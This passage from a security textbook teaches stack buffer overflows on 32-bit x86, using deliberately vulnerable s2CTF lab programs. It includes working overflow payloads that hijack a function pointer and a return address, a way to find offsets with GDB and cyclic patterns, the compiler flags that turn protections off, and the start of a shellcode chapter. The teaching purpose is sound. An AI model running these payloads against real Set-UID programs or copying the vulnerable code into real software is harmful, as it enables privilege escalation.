
call: esp := esp - 4; the address of the instruction after the call is stored at the new (%esp); eip := 0x8049186. ret: eip := (%esp) (the 4 bytes at the top of the stack); esp := esp + 4. ret does not verify that the value it loads was written by a call.

5. In a 32-bit cdecl function with a standard prologue, a local buffer starts at ebp-0x48. How many bytes of input must a strcpy write before it begins to overwrite the saved return address? What about the saved ebp?

Answer

The saved ebp is at ebp+0, so it starts 0x48 = 72 bytes after the buffer start. The return address is at ebp+4, so it starts 0x48 + 4 = 76 bytes after the buffer start: bytes 76–79 of the input overwrite it. (76 is the offset you will see in the s2CTF exercises of Chapter 4.)

6. Why is the following command wrong for passing the address 0x080491a6, and how do you fix it? ./prog $(python3 -c "print('A'*32 + '\xa6\x91\x04\x08')")

Answer

Python 3 print writes text encoded as UTF-8, so '\xa6' and '\x91' (both above 0x7f) each become two bytes (c2 a6, c2 91), corrupting the address and shifting everything after it. Write raw bytes instead: python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\xa6\x91\x04\x08')".

7. In a 64-bit program, how is the first argument to system() passed? Why does that matter to an attacker who controls only stack memory?

Answer

In register rdi (System V AMD64 ABI). An attacker who can only write to the stack cannot simply place the argument next to a fake return address, as in 32-bit cdecl; they must first execute some existing code that loads rdi from the stack (such as a pop %rdi; ret gadget) — the idea behind return-oriented programming in Chapter 7.

Summary

  • x86 is little endian: the least significant byte of a value is at the lowest address. Exploit payloads write addresses in that byte order.
  • esp is the top of the stack, ebp the base of the current frame, and eip the next instruction. Controlling eip means controlling the program; it changes only through jmp, jcc, call, and ret.
  • AT&T syntax is op src, dst with % and $; Intel syntax is op dst, src. GNU tools default to AT&T, pwndbg to Intel.
  • The stack grows down. call pushes a return address; ret pops into eip and trusts whatever it finds.
  • In a 32-bit cdecl frame: arguments at ebp+8 and up, return address at ebp+4, saved ebp at ebp, locals below. A buffer at ebp-N is N+4 bytes from the return address. In x86-64, the first six arguments travel in registers and addresses contain zero bytes.
  • GDB with pwndbg lets you verify every one of these facts on your own binary; the expression $ebp + 4 - &buf gives the offset to the return address.
  • Generate binary input with sys.stdout.buffer.write(), never print().
  • A process’s address space contains code, data, heap, shared libraries, and stack. Modern systems make data regions non-executable and randomize their locations.

Connection to the Labs

This chapter has no lab of its own; it is the toolkit for everything that follows. Before starting Lab 2: Return-to-libc Attack, read its appendix on the function-call mechanism, which applies Section 3.7 to the lab’s retlib.c, and practice the GDB commands in Section 3.8 on the lab binary. The same skills are needed for Lab 3, where the stack you must reason about belongs to printf. The s2CTF playground, https://github.com/sysec-uic/s2ctf-playground, is a good place to practice the frame-drawing exercise from Section 3.7 on small binaries.

Further Reading

  • Intel Corporation. Intel 64 and IA-32 Architectures Software Developer’s Manuals, Volume 2 (instruction set reference). An unofficial HTML version of the instruction reference is at https://www.felixcloutier.com/x86/.
  • x86 Assembly Wikibook, “X86 Architecture”: https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture
  • Randal E. Bryant and David R. O’Hallaron. Computer Systems: A Programmer’s Perspective, 3rd edition, Chapter 3 (machine-level representation of programs).
  • pwndbg: https://github.com/pwndbg/pwndbg
  • System V Application Binary Interface, AMD64 Architecture Processor Supplement, for the 64-bit calling convention.

Chapter 4: Stack Buffer Overflows

The buffer overflow is the oldest memory-corruption bug in the book, and it is still one of the most common. Its shape is simple. A program reserves a fixed amount of memory for some data, then copies in more data than fits. The extra bytes do not disappear; they land on whatever happens to sit next to the buffer. When that buffer lives on the stack, the neighbors are other local variables, saved registers, and the address the function will return to. Those values are exactly the ones that decide what the program does next.

This chapter takes a careful look at that mechanism. We start from one vulnerable function and its stack frame. Then we climb three rungs of a ladder, each one giving the attacker more control: overwrite a neighboring variable, overwrite a function pointer, and finally overwrite the saved return address. At the end of the chapter you will be able to send a vulnerable program’s control flow to any existing function you choose. Chapter 5 removes the last restriction, that the function must already exist.

Learning objectives. After this chapter you should be able to:

  • Explain why C programs can write past the end of a buffer, and which library functions make this easy.
  • Draw the stack frame of a simple 32-bit function, with byte offsets relative to %ebp, by reading its disassembly.
  • Overwrite an adjacent local variable, a function pointer, and a saved return address with a crafted input.
  • Find the distance from a buffer to a target slot in three ways: by reading the disassembly, with GDB, and with a cyclic pattern.
  • Generate binary payloads from the shell correctly, and avoid the common pitfalls (newlines, UTF-8 encoding, NUL bytes, word splitting).
  • Explain what each “insecure” compiler flag used in this chapter disables.

4.1 The Arms Race

Before we dig in, it helps to see where this chapter sits in the larger story. The history of software security from the late 1980s to today is an arms race between attacks and defenses. Each round is a reaction to the one before.

  attack                                   defense
  ------                                   -------
  stack buffer overflow  (Ch 4)
  + injected shellcode   (Ch 5)   ----->   non-executable stack (NX/DEP)  (Ch 6)
                                           stack canaries (StackGuard)    (Ch 6)
                                           address randomization (ASLR)   (Ch 6)
  code reuse: ret2libc, ROP (Ch 7) ---->   control-flow integrity (CFI)   (Ch 8)
  memory disclosure via format
  strings, OOB reads (Ch 10)      ----->   bypasses canaries and ASLR ...
                                           memory-safe languages (Rust)

Every attack in this list starts the same way: the attacker corrupts memory the program did not mean to expose. Stack buffer overflows are the simplest way to do that. Learn them well. Later techniques only change what the attacker writes and where it ends up.

4.2 What Is a Buffer Overflow?

A buffer is a contiguous block of memory that holds a sequence of data, such as a char array that holds a string. A buffer overflow occurs when a program writes past the end (or, less often, before the beginning) of a buffer. A stack buffer overflow is one where the buffer is a local variable, which lives on the stack.

C makes this easy for three reasons.

  1. Arrays do not know their own size. When an array is passed to a function it decays into a pointer to its first element. The callee has no way to ask how big the buffer is.
  2. No bounds checks. buf[i] = x compiles to a single store at address buf + i. Nothing at run time checks that i is in range.
  3. Unsafe library functions. Several standard functions copy “until done” and never ask how much room the destination has:
FunctionCopies until…Safer alternative
strcpy(dst, src)the first '\0' in srcstrncpy, strlcpy, snprintf
strcat(dst, src)the first '\0' in srcstrncat, strlcat
gets(buf)a newline or end of filefgets(buf, size, stdin)
sprintf(buf, fmt, ...)the formatted output endssnprintf(buf, size, fmt, ...)
scanf("%s", buf)whitespacescanf("%63s", buf) with an explicit width

gets is so dangerous that it was removed from the C standard in C11. Modern glibc still ships it for old binaries, but the compiler warns loudly when you use it. The “safer” functions are not foolproof either. strncpy does not NUL-terminate when the source is too long, and every bounded function is only as correct as the size you pass to it. Chapter 6 returns to this.

The consequences depend on what the overflowing bytes overwrite. If they hit unused memory, nothing visible happens. That is why overflow bugs can hide in production code for years. If they hit data the program later uses, the program misbehaves. And if they hit data that decides where execution goes next, the attacker controls the program.

Note. Buffer overflows are not a historical curiosity. “Out-of-bounds write” and “out-of-bounds read” have sat at or near the top of MITRE’s CWE Top 25 Most Dangerous Software Weaknesses list every year it has been published (https://cwe.mitre.org/top25/). The Morris worm of 1988, one of the first Internet worms, spread partly through a stack overflow. Chapter 5 tells that story.

4.3 The Anatomy of a Vulnerable Stack Frame

We will work with a function that looks like this. It is the core of every level in the s2CTF playground (https://github.com/sysec-uic/s2ctf-playground) used in this course.

#define SIZE 16

int vul(char *input)
{
    int flag = 0;
    char buf[SIZE];

    strcpy(buf, input);
    if (flag) {
        printf("Flag was changed!\n");
    } else {
        printf("Flag was not changed. Try it again!\n");
    }
    return 0;
}

Chapter 3 covered the 32-bit cdecl calling convention. Here is a quick recap of what happens when main calls vul(argv[1]):

  1. The caller pushes the argument input and executes call vul. That pushes the return address (the address of the instruction after the call) and jumps to vul.
  2. vul’s prologue saves the caller’s frame pointer and sets up its own: push %ebp; mov %esp,%ebp. It may also save callee-saved registers such as %ebx. Then it reserves room for locals by lowering %esp, for example sub $0x24,%esp.
  3. The body runs. To call strcpy(buf, input), vul pushes its two arguments in reverse order: first input, then &buf.
  4. The epilogue (leave; ret) restores %esp and %ebp. ret then pops the saved return address into %eip.

With SIZE 16, one compilation of vul produces this frame. (The exact offsets depend on the compiler version and flags. You will see how to read them off the disassembly in Section 4.6.)

                         high addresses
               +--------------------------+
     ebp+8     |  input   (argument)      |   pushed by main
               +--------------------------+
     ebp+4     |  return address          |   pushed by `call vul`
               +--------------------------+
     ebp  -->  |  saved %ebp of main      |   pushed by `push %ebp`
               +--------------------------+
     ebp-4     |  saved %ebx              |   callee-saved register
               +--------------------------+
     ebp-8     |  (padding)               |
               +--------------------------+
     ebp-0xc   |  flag                    |   int flag = 0
               +--------------------------+
               |                          |
     ebp-0x1c  |  buf[16]                 |   buf[0] is at the LOWEST address;
               |                          |   buf[15] is just below flag
               +--------------------------+
               |  ...                     |
               +--------------------------+
     esp+4     |  input       (2nd arg)   |   arguments for strcpy,
     esp  -->  |  &buf        (1st arg)   |   pushed right to left
               +--------------------------+
                         low addresses

The corresponding instructions look like this (AT&T syntax, as printed by objdump -d; pwndbg prints Intel syntax by default, with the operands reversed):

push   %ebp                 # save caller's frame pointer
mov    %esp,%ebp            # ebp = esp
push   %ebx
sub    $0x24,%esp           # make room for locals
...
movl   $0x0,-0xc(%ebp)      # flag = 0
sub    $0x8,%esp
pushl  0x8(%ebp)            # push input            (*esp = ebp[0x8])
lea    -0x1c(%ebp),%eax     # eax = &buf             (eax = &ebp[-0x1c])
push   %eax                 # push &buf
call   strcpy@plt

Note. Whether %ebx is saved depends on the build. Position-independent code keeps a GOT pointer in %ebx, so it saves it. With -no-pie -fno-pic, GCC 9.4 on Ubuntu 20.04 instead emits endbr32; push %ebp; mov %esp,%ebp; sub $0x28,%esp, and the slot at ebp-4 is plain padding (see the listing in Chapter 3). Either way, flag is at ebp-0xc and buf at ebp-0x1c. Distances are what matter, and they are the same.

There is one key observation, and the rest of the chapter depends on it. The stack grows down, but buffers fill up. buf[0] is at the lowest address, and strcpy writes buf[1], buf[2], … at increasing addresses. Once it passes buf[15] it keeps going, upward through flag, the padding, the saved %ebx, the saved %ebp, the return address, and the caller’s arguments. Every slot above buf in the diagram can be overwritten, in order, by a long enough input.

4.4 Level 1: Overwriting an Adjacent Variable

The first and gentlest target is a plain data variable. The s2CTF level stack0x01 uses a larger buffer:

int vul(char *input)
{
    int flag = 0;
    char buf[64];

    strcpy(buf, input);
    if (flag) {
        char *argv[] = {"/usr/bin/cat", "/ctf/key1", NULL};
        execve(argv[0], argv, NULL);
    } else {
        printf("Flag was not changed. Try it again!\n");
    }
    return 0;
}

int main(int argc, char *argv[], char *env[])
{
    if (argc == 1)
        errx(1, "Please specify an argument.");
    vul(argv[1]);
    return 0;
}

The program is installed Set-UID (see Chapter 2), and only the owner can read /ctf/key1. The program prints the key only if flag becomes nonzero, and nothing in the source ever sets it. The disassembly places the two locals here:

     ebp-0xc   |  flag      |   <- 4 bytes
               +------------+
               |            |
               |  buf[64]   |   0x4c - 0xc = 0x40 = 64 bytes
     ebp-0x4c  |            |

buf runs for exactly 64 bytes and ends right where flag begins. So the 65th byte of input lands in the lowest byte of flag:

$ ./stack0x01 $(python3 -c "print('a'*64)")
Flag was not changed. Try it again!
$ ./stack0x01 $(python3 -c "print('a'*65)")
<contents of /ctf/key1>

Why does 64 bytes not work? Because strcpy also copies the terminating '\0'. With a 64-byte input, the 65th byte written is 0x00, which goes into flag’s low byte, and that byte was already zero. With 65 bytes, flag’s low byte becomes 0x61 ('a') and the terminator lands in the next byte. flag is now 0x00000061, which is nonzero.

This level already shows the whole attacker mindset from Chapter 1. The program’s logic was correct. The bug is that the language let input data spill into a variable the programmer believed was private.

Try it. Change the input to 'a'*64 + 'BCD'. What value does flag hold now? Check your answer in GDB with p/x flag after the strcpy call. (Little-endian: the byte at the lowest address is the least significant byte.)

4.5 Level 2: Overwriting a Function Pointer

Changing a flag only gives us the behaviors the programmer already wrote. To go further we need to overwrite control data: values that decide which code runs next. The most direct kind is a function pointer.

void target() {
    char *argv[] = {"/usr/bin/cat", "/ctf/key2", NULL};
    execve(argv[0], argv, NULL);
}

void dummy() {
    printf("A dummy function is called.\n");
}

int vul(char *input)
{
    void (*fp)() = dummy;
    char buf[64];

    strcpy(buf, input);
    fp();
    return 0;
}

The layout is the same as Level 1, except that the slot at ebp-0xc now holds fp. The call fp() compiles to an indirect call. The CPU loads fp from the stack into a register and jumps to whatever address it contains:

mov    -0xc(%ebp),%eax
call   *%eax

So the plan is: 64 bytes of filler, then the address of target in place of fp.

Find the address of target. The binary is built without position-independent code (-no-pie), so code addresses are fixed when the program is linked and are the same on every run:

$ nm stack0x02 | grep target
080491a6 T target
$ gdb -q ./stack0x02
pwndbg> p target
$1 = {void ()} 0x80491a6 <target>

(Your address will differ. Always use the one from your binary.)

Encode it little-endian. x86 stores the least significant byte first, so 0x080491a6 becomes the bytes a6 91 04 08:

$ ./stack0x02 "$(python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'\xa6\x91\x04\x08')")"
<contents of /ctf/key2>

When vul executes call *%eax, %eax holds 0x080491a6, and execution goes into target instead of dummy.

Overwriting a function pointer is a forward-edge hijack. It corrupts the target of a call or jmp. In real programs the most common forward-edge targets are function pointers stored in structures and C++ virtual-table pointers. We return to this terminology in Chapter 8, where defenses treat forward and backward edges differently.

4.6 Level 3: Overwriting the Return Address

What if the program has no function pointer? Every function that is called and returns has one piece of control data on the stack: its saved return address. That makes the return address the classic target.

#define SIZE 64

void target() {
    char *argv[] = {"/usr/bin/cat", "/ctf/key3", NULL};
    execve(argv[0], argv, NULL);
}

int vul(char *input)
{
    char buf[SIZE];
    strcpy(buf, input);
    return 0;
}

In stack0x03 the disassembly shows lea -0x48(%ebp),%eax before the call to strcpy, so buf starts at ebp-0x48. The return address sits at ebp+4. The distance from the start of buf to the return address is:

    0x48  (from buf up to the saved %ebp)
  +    4  (the saved %ebp itself)
  ------
    0x4c = 76 bytes of filler, then 4 bytes of new return address
                 before strcpy                  after strcpy
              +---------------+              +----------------+
   ebp+4      | return addr   |              | &target        |  <- bytes 76..79
              +---------------+              +----------------+
   ebp        | saved %ebp    |              | AAAA           |  <- bytes 72..75
              +---------------+              +----------------+
   ebp-4      | saved %ebx    |              | AAAA           |
              +---------------+              +----------------+
              |               |              | AAAA ... AAAA  |
   ebp-0x48   | buf[64]       |              | AAAA ... AAAA  |  <- bytes 0..63
              +---------------+              +----------------+
$ nm stack0x03 | grep target
08049196 T target
$ ./stack0x03 "$(python3 -c "import os; os.write(1, b'A'*76 + b'\x96\x91\x04\x08')")"
<contents of /ctf/key3>

Nothing goes wrong while vul runs. strcpy returns normally, and so does return 0. The hijack happens at the very last instruction: leave restores %ebp to the garbage value 0x41414141, and ret pops our address into %eip.

Return sites versus call sites

Something subtle has happened, and it matters a great deal in Chapter 7. Normally a function is entered through a call site: a call instruction pushes a return address, then jumps. We entered target through a return site: ret popped an address and jumped, and it pushed nothing.

So when target starts executing, it sees the stack as if it had been called, but the word that it believes is its return address (at [%esp]) is whatever lay just above our overwritten slot. Here that is the original input argument. The words above that are what target would treat as its arguments. target never returns and takes no arguments, so none of this matters yet. But it means an attacker who also controls the bytes above the return address controls the fake callee’s arguments and its next return address too. Chaining that idea is the core of return-to-libc and return-oriented programming.

The program crashes afterwards. Does that matter?

Usually not. We also clobbered the saved %ebp, so if target did return, the program would probably crash. Attackers often do not care, because by then the damage is done. When a clean exit matters (for example, to avoid leaving a crash log), the attacker arranges for the hijacked code to call exit(). That is again a Chapter 7 technique.

4.7 Finding the Offset

The offset from the buffer to the target slot is the single most important number in a stack exploit. There are three standard ways to get it. Use at least two, so that each one checks the other.

Method 1: Read the disassembly

Look at how the buffer’s address is computed before it is passed to the copying function:

$ objdump -d stack0x03 | grep -A12 '<vul>:'
...
 lea    -0x48(%ebp),%eax
 push   %eax
 call   8049050 <strcpy@plt>
...

buf is at ebp-0x48, the saved %ebp is at ebp, and the return address is at ebp+4. So the offset is 0x48 + 4 = 76. Do not trust the C source for this. char buf[64] does not mean the return address is 68 bytes away. Compilers add padding for alignment and save registers in between, as the 0x48 here shows.

Method 2: Inspect the stack in GDB

Run the program under GDB with a recognizable input. Stop right after the copy and look at the addresses directly:

$ gdb -q --args ./stack0x03 AAAAAAAA
pwndbg> break vul
pwndbg> run
pwndbg> next                     # step over strcpy
pwndbg> p &buf
$1 = (char (*)[64]) 0xffffcf90
pwndbg> p $ebp
$2 = (void *) 0xffffcfd8
pwndbg> x/2wx $ebp
0xffffcfd8: 0xffffcff8  0x080491f4    # saved ebp, return address

The return address is at $ebp + 4 = 0xffffcfdc, and 0xffffcfdc - 0xffffcf90 = 0x4c = 76. pwndbg’s stack and telescope commands show the same thing with annotations. (Chapter 3 introduces these commands.)

Method 3: A cyclic pattern

The fastest method, and the one that works even without symbols, is a de Bruijn sequence: a string in which every 4-byte substring appears at most once. Feed it to the program, let it crash, and read which 4 bytes ended up in %eip. Their position in the pattern is the offset. pwntools ships a command-line tool for this:

$ pip3 install pwntools
$ export PATH=$PATH:$HOME/.local/bin
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ gdb -q --args ./stack0x03 $(cyclic 100)
pwndbg> run
Program received signal SIGSEGV, Segmentation fault.
Invalid address 0x61616174
pwndbg> quit
$ cyclic -l taaa          # 0x61616174 read as little-endian bytes is "taaa"
76

The pattern is built from 4-byte blocks aaaa, baaa, caaa, …, and the block starting with the n-th letter begins at offset 4n. t is letter 19 (counting from 0), so taaa starts at offset 76. That matches Methods 1 and 2. cyclic -l also accepts the raw value (cyclic -l 0x61616174).

4.8 Crafting Payloads from the Shell

The payload is a sequence of bytes, not a string. Many failed exploits are caused by the tool that generates those bytes, not by the exploit logic. Here are the standard idioms:

# As a command-line argument (argv[1]):
./prog "$(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')")"
./prog "$(python3 -c "import os; os.write(1, b'A'*76 + b'\x96\x91\x04\x08')")"
./prog "$(perl -e 'print "A"x76 . "\x96\x91\x04\x08"')"

# On standard input (for gets(), fgets(), read(0, ...)):
python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\x96\x91\x04\x08')" | ./prog

# Saved to a file, for repeatable experiments and for GDB:
python3 exploit.py > badfile
./prog "$(cat badfile)"          # or:  ./prog < badfile
gdb -q --args ./prog "$(cat badfile)"

$( ... ) is command substitution. The shell runs the inner command and replaces the expression with its output, which becomes the program’s argument. Watch out for these pitfalls:

  • print() encodes text, not bytes. In Python 3, print('\xa6') prints the Unicode character U+00A6, which UTF-8 encodes as the two bytes c2 a6. Every byte 0x80 or above gets corrupted this way. Use sys.stdout.buffer.write (or os.write) with a bytes literal (b'...'). print('A'*65) is fine only because 'A' is ASCII.
  • print() adds a newline. For argv, command substitution strips trailing newlines, so it usually does not matter. For stdin, the \n becomes part of the input. gets stops there, but read copies it.
  • Quote the substitution. Without the double quotes, the shell splits the output into several arguments at spaces, tabs, and newlines (bytes 0x20, 0x09, 0x0a) and may expand * as a glob. An address that happens to contain 0x20 silently breaks an unquoted payload.
  • NUL bytes cannot pass through argv. C strings in argv end at the first 0x00, and bash drops NUL bytes from command substitution (with a warning). strcpy would stop at the first NUL anyway. This is why all the binaries here are 32-bit and non-PIE: an address like 0x08049196 contains no zero byte. A 64-bit code address such as 0x0000000000401196 does, which makes the same attack harder (see the note below).
  • Payload length changes addresses. argv strings live at the top of the stack (Section 4.9), so a longer argument pushes everything else down. This does not matter for the fixed code addresses in this chapter. It matters a lot in Chapter 5, where we jump into the stack.

Note: 64-bit differences. On x86-64 the return address is 8 bytes, arguments are passed in registers (%rdi, %rsi, …) rather than on the stack, and user-space addresses have their two most significant bytes equal to zero. Because the zeros come last in little-endian order, a single partial overwrite with strcpy can sometimes still work. The terminating NUL supplies one of the zero bytes, and the rest are already zero in the old return address. Placing anything after the address in the same payload is impossible, though. Lab 3’s optional Task 5 explores this in a format-string setting.

4.9 Background: execve() and What main Receives

The target functions above use execve, the system call that replaces the current process image with a new program:

int execve(const char *filename, char *const argv[], char *const envp[]);

argv and envp are NULL-terminated arrays of pointers to strings. A minimal program that starts a shell looks like this:

#include <unistd.h>

int main() {
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;
    execve(args[0], args, NULL);
}
$ strace ./sh 2>&1 | head -1
execve("/bin/sh", ["/bin/sh"], NULL) = 0

The receiving side is just as important for exploitation. Whatever arrays are passed to execve show up as the arguments of the new program’s main:

int main(int argc, char *argv[], char *envp[]) { ... }

The kernel copies the argument and environment strings onto the top of the new process’s stack, before the first stack frame is built:

          0xffffdfff  (top of the 32-bit user stack, ASLR off)
        +--------------------------+
        | environment strings      |   "PATH=/usr/bin:...", "HOME=..."
        | argument strings         |   "./stack0x03", "AAAA....\x96\x91\x04\x08"
        +--------------------------+
        | envp[] pointer array     |
        | argv[] pointer array     |
        | argc                     |
        +--------------------------+
        | main's frame             |
        | vul's frame  (buf, ...)  |   grows downward from here
        +--------------------------+

Two consequences follow. First, our payload is in memory twice: once where strcpy copied it into buf, and once in its original location among the argument strings. Second, the depth of every stack frame depends on the total size of the program’s arguments and environment. Remember both. Chapter 5 uses them, and Chapter 2 has already shown that the environment is attacker-controlled.

4.10 The Training Wheels: Compiler Flags

If you compile the vulnerable programs above with a default gcc on a modern Ubuntu, none of the attacks in this chapter work as described. The playground’s Makefile explicitly turns off several protections:

FLAGS       = -z execstack -fno-stack-protector -g
FLAGS_32    = -m32
FLAGS_NOPIE = -no-pie -fno-pic

stack0x01: vul1.c
	gcc $(FLAGS) $(FLAGS_NOPIE) $(FLAGS_32) -o $@ $^
FlagWhat it doesWhy we use it here
-m32Builds a 32-bit x86 binary (needs gcc-multilib).Arguments go on the stack, addresses have no zero bytes, frames are easy to read.
-fno-stack-protectorDisables stack canaries, the guard value the compiler places between locals and the saved registers and checks before ret.Otherwise the overwrite in Levels 2–3 is detected and the program aborts with *** stack smashing detected ***.
-no-pie -fno-picProduces a non-position-independent executable, loaded at a fixed address (e.g. 0x08048000).target’s address is the same on every run, even with ASLR on.
-z execstackMarks the stack segment executable in the ELF headers.Not needed for this chapter. It lets Chapter 5 run code placed on the stack.
-gIncludes debugging symbols.Lets GDB print buf, flag, fp by name.

Level 1 is special. Even a stack canary does not stop it, because flag sits below the canary, between buf and the guard value. Modern compilers try to place character arrays above other locals precisely to prevent this. Each of these protections is the subject of Chapter 6. For now, keep this in mind: turning the protections off is a teaching device, not a claim that real systems lack them. Real exploits first have to defeat or sidestep each one, and much of Part II is about how.

4.11 Cliffhanger: No Target Function

The playground’s next level, stack0x04, removes the convenience we have relied on all chapter:

int vul(char *input)
{
    char buf[SIZE];
    strcpy(buf, input);
    return 0;
}

int main(int argc, char *argv[], char *env[])
{
    if (argc == 1)
        errx(1, "Please specify an argument.");
    vul(argv[1]);
    return 0;
}

We can still overwrite the return address. The offset is found exactly as in Section 4.7. But there is no target() in the binary to return to. Where should ret go?

Two answers exist. The first answer is: write the code yourself. Put machine instructions inside the payload and return into the buffer. That is code injection, the subject of Chapter 5. The second answer is: find useful code that is already in the process, such as system() in the C library, and return there. That is code reuse, the subject of Chapter 7.

Check Your Understanding

1. In stack0x01, buf is at ebp-0x4c and flag at ebp-0xc. Why does an input of exactly 64 'a' characters fail to change flag, while 65 succeed?

Answer

strcpy copies the terminating NUL as well. With 64 characters, bytes 0–63 fill buf and the 65th byte written, 0x00, lands in flag’s least significant byte, which was already 0. With 65 characters, flag’s low byte becomes 0x61 and the NUL goes into the next byte. flag becomes 0x00000061, which is nonzero.

2. A function has char buf[32], and its disassembly shows lea -0x28(%ebp),%eax; push %eax; call gets. How many bytes of filler come before the return address? Would the C declaration alone have given you the right answer?

Answer

0x28 + 4 = 40 + 4 = 44 bytes: 0x28 bytes from buf up to the saved %ebp, plus 4 bytes for the saved %ebp itself. The C declaration would suggest 32 + 4 = 36, which is wrong. The compiler added 8 bytes of padding and/or saved registers. Always read offsets from the binary.

3. Your payload is b'A'*64 + b'\xa6\x91\x04\x08'. You generate it with python3 -c "print('A'*64 + '\xa6\x91\x04\x08')". The program crashes at 0x91c2a6c2 instead of jumping to 0x080491a6. Explain the crash address.

Answer

Python 3’s print writes a Unicode string encoded as UTF-8. Every character from '\x80' to '\xff' becomes two bytes: '\xa6' becomes c2 a6, and '\x91' becomes c2 91. So the bytes after the filler are c2 a6 c2 91 04 08. The first four of them, read little-endian, are 0x91c2a6c2. Use sys.stdout.buffer.write(b'...').

4. What is the difference between entering a function through a call site and through a return site? Why does it matter to an attacker?

Answer

A call pushes a return address and then jumps. A ret pops an address and jumps, pushing nothing. When an attacker “returns into” a function, that function treats the word at [%esp] as its return address and the words above it as its arguments, even though the attacker wrote all of them. So the attacker controls not only which function runs, but also the arguments it sees and where it returns afterwards. This is the foundation of return-to-libc and ROP.

5. Level 1 changes a data variable. Levels 2 and 3 change control data. Which of the three would a stack canary placed just below the saved %ebp stop? Why?

Answer

It would stop Level 3. To reach the return address the overflow must pass through the canary, which is checked before ret. It would not stop Level 1, because flag lies between buf and the canary. Level 2 behaves like Level 1 if fp sits below the canary: the overwritten pointer is called before the function returns, so the canary check is never reached. This is why compilers also try to place arrays above scalar locals and pointers.

6. Why are the playground binaries compiled with -no-pie, and why does that make Levels 2 and 3 work even with ASLR enabled?

Answer

A non-PIE executable contains absolute addresses and must be loaded at the address it was linked for (e.g. 0x08048000). ASLR can randomize the stack, heap, and shared libraries, but it cannot move such an executable’s code. So target’s address, read once with nm, is valid on every run. With PIE (the modern default) the executable’s base address is randomized too, and the attacker would first need to leak an address.

Summary

  • C has no bounds checks, and functions like strcpy, gets, and sprintf copy without knowing the destination’s size. Excess bytes overwrite whatever lies above the buffer on the stack.
  • In a 32-bit cdecl frame, the locals sit below the saved %ebp, the saved %ebp sits below the return address, and the return address sits below the caller’s arguments. One long input can overwrite all of them in order.
  • Overflows escalate from data (an adjacent flag), to forward-edge control data (a function pointer), to backward-edge control data (the saved return address).
  • Get the offset from the disassembly (lea -0xNN(%ebp)), from GDB, or with a cyclic pattern, and preferably from two of these.
  • Generate payloads as bytes (sys.stdout.buffer.write), quote command substitutions, avoid NUL bytes, and remember that argv/envp sizes shift the stack.
  • The examples work because protections are turned off: -fno-stack-protector, -no-pie, -m32, and later -z execstack. Chapter 6 turns them back on.

Connection to the Labs

  • The s2CTF playground (https://github.com/sysec-uic/s2ctf-playground) has stack0x01–stack0x03, which match Sections 4.4–4.6 exactly. Reproduce each level, and for Level 3 find the offset with all three methods of Section 4.7.
  • Lab 2: Return-to-libc Attack begins with the same overflow. Its vulnerable program retlib.c copies a file into a small stack buffer, and Task 3 requires exactly the offset-finding skills from this chapter. Read its appendix on the function-call mechanism together with Section 4.3.
  • The Set-UID setting behind these exploits, and why a hijacked Set-UID program yields root privilege, is covered in Chapter 2 and Lab 1.

Further Reading

Chapter 5: Shellcode and Code Injection

Chapter 4 ended on a puzzle. We could overwrite the return address of stack0x04, but the binary had no target() function to return to. The classic answer, the one that made buffer overflows famous, is to stop looking for useful code in the program. Instead, bring your own. The attacker puts raw machine instructions inside the very input that overflows the buffer, then points the return address back into the buffer. When the function returns, the CPU runs the attacker’s instructions with the full privilege of the victim process.

Those instructions are called shellcode, because their traditional job is to start a shell. Once the attacker has a shell, they can run any command they like. This chapter builds a shellcode from scratch: one system call, a few pushes, and a careful fight against zero bytes. Then we deliver it into a vulnerable program.

Learning objectives. After this chapter you should be able to:

  • Explain what a system call is and invoke one from assembly on 32-bit (int $0x80) and 64-bit (syscall) Linux.
  • Build a position-independent execve("/bin//sh", ...) shellcode by hand, and explain every instruction in it.
  • Identify NUL bytes in machine code and rewrite instructions to remove them.
  • Assemble, disassemble, extract, and test a shellcode in isolation.
  • Use a NOP sled and a carefully chosen return address to deliver shellcode through a stack overflow.
  • Explain why addresses observed in GDB differ from those in a real run, and how to compensate.

5.1 From “Return to a Function” to “Return to My Code”

Look again at the stack0x04 frame. We control every byte from buf upward, including the return address:

                  high addresses
               +------------------------+
     ebp+8     |  input                 |
               +------------------------+
     ebp+4     |  return address        |  <- we choose this value ...
               +------------------------+
     ebp       |  saved %ebp            |
               +------------------------+
               |  ...                   |
     ebp-0x48  |  buf[64]               |  <- ... and these bytes
               +------------------------+
                  low addresses

If the bytes in buf happen to be valid x86 instructions, and the return address points at them, then ret turns our data into code. Two things make this possible in the setting of this chapter:

  1. The stack is executable. The program was linked with -z execstack. Without it, the CPU refuses to fetch instructions from stack pages (Chapter 6).

  2. The stack address is predictable. We disable ASLR so that buf sits at the same address on every run:

    $ sudo sysctl -w kernel.randomize_va_space=0
    

This is the principle from Chapter 1 — keep code and data separate — violated as completely as possible. The input is data, and the CPU executes it.

What should the injected code do? Anything at all, in principle. In practice it should do one thing that gives the attacker everything else: start a shell. To do that from raw machine code, with no C library to call, we have to talk to the kernel directly.

5.2 System Calls

A user process cannot open files, create processes, or talk to the network on its own. Those resources belong to the operating system kernel, which runs at a higher hardware privilege level. A system call is the controlled doorway through which a process asks the kernel to do something on its behalf. Library functions such as open(), write(), and execve() are thin wrappers. They place their arguments where the kernel expects them and execute a special trap instruction.

   user mode                              kernel mode
   ---------                              -----------
   your code
     |  put syscall number + args
     |  in registers
     v
   int $0x80 / syscall  --------------->  look up handler by number
                                          check arguments, permissions
                                          do the work
   (continue)           <---------------  return value in %eax / %rax

The calling convention differs between 32-bit and 64-bit Linux:

32-bit x86 (i386)64-bit x86-64
Trap instructionint $0x80syscall
System-call number%eax%rax
Arguments 1, 2, 3%ebx, %ecx, %edx%rdi, %rsi, %rdx
Arguments 4, 5, 6%esi, %edi, %ebp%r10, %r8, %r9
Return value%eax%rax
execve number11 (0xb)59 (0x3b)
exit number160

The numbers come from the kernel’s system-call tables (on Ubuntu, see /usr/include/asm/unistd_32.h and unistd_64.h, or the Chromium OS table linked in Further Reading). They are not the same across architectures, which is a classic source of shellcode bugs.

Here is the smallest possible example, the 32-bit getpid system call (number 20, 0x14):

